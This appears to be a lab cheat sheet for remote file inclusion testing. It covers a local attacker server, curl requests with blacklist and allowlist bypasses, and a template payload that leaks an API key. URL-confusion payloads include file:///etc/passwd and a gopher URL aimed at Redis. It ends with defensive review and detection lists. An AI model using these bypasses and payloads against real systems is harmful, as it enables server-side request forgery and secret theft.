Use this as a quick reference while testing RFI in labs and authorized assessments.
Common Parameters
url
uri
remote
resource
source
feed
import
template_url
theme_url
plugin_url
callback
next
Attacker Server
Start a local attacker-controlled HTTP server:
mkdir -p /tmp/ootw-rfi-attacker
cat > /tmp/ootw-rfi-attacker/notice.txt <<'EOF'
Remote notice for {{ username }}.
Arithmetic proof: {{ 7 * 7 }}
Context proof: {{ profile.api_key }}
EOF
python3 -m http.server 8001 --directory /tmp/ootw-rfi-attacker
Payload URL:
http://127.0.0.1:8001/notice.txt
Lab curl Checks
Basic RFI:
curl -i -X POST "http://127.0.0.1:5000/rfi/basic" \
--data-urlencode "url=http://127.0.0.1:8001/notice.txt"
Weak blacklist bypass:
curl -i -X POST "http://127.0.0.1:5000/rfi/blacklist" \
--data-urlencode "url=http://localhost:8001/notice.txt"
Naive allowlist bypass:
curl -i -X POST "http://127.0.0.1:5000/rfi/better" \
--data-urlencode "url=http://trusted-cdn.ootw.local@127.0.0.1:8001/notice.txt"
Fixed route:
curl -i -X POST "http://127.0.0.1:5000/rfi/fixed" \
--data-urlencode "template_id=notice"
Expected matrix:
/rfi/basic remote file fetched and rendered
/rfi/blacklist localhost bypasses the 127.0.0.1 string block
/rfi/better userinfo bypass reaches 127.0.0.1
/rfi/fixed no remote request is made
Response Clues
Remote notice
Arithmetic proof: 49
Context proof: ootw-rfi-demo-key
scheme=http
netloc=trusted-cdn.ootw.local@127.0.0.1:8001
hostname=127.0.0.1
Useful comparisons:
attacker server access log
status code
response size
parsed hostname
rendered template output
audit decision
URL Confusion Payloads
Loopback:
http://127.0.0.1:8001/
http://localhost:8001/
Userinfo confusion:
http://trusted.example@127.0.0.1:8001/
Trusted-looking subdomain:
http://trusted.example.attacker.local/
Scheme confusion to reject:
file:///etc/passwd
gopher://127.0.0.1:6379/
ftp://127.0.0.1/file
Redirects to re-check:
http://trusted.example/redirect-to-localhost
What To Prove
For RFI, prove:
The backend made a request to an attacker-controlled URL.
The remote response was included in the application response.
The remote response was treated as template/code if that is the sink.
The fixed route no longer makes the remote request.
Do not stop at "the URL was accepted." The server-side fetch is the primitive.
Defensive Review
Confirm:
- User input cannot choose template, plugin, or executable remote URLs.
- Remote content is treated as untrusted data.
- URL allowlists use parsed
hostname,scheme, andport. - Userinfo is rejected.
- Redirects are disabled or re-validated after every hop.
- Loopback, private, link-local, and internal address ranges are blocked.
- DNS resolution is handled carefully.
- Timeouts and maximum response sizes are enforced.
- Outbound network access is restricted.
- Remote fetch attempts are logged.
Detection
Watch for:
url=http
template_url=http
remote=http
source=http
127.0.0.1
localhost
169.254.169.254
trusted.example@127.0.0.1
{{ 7 * 7 }}
{{ profile.api_key }}
High-value log fields:
requested URL
parsed hostname
resolved IP
redirect target
decision
response size
fetch error
user ID
source IP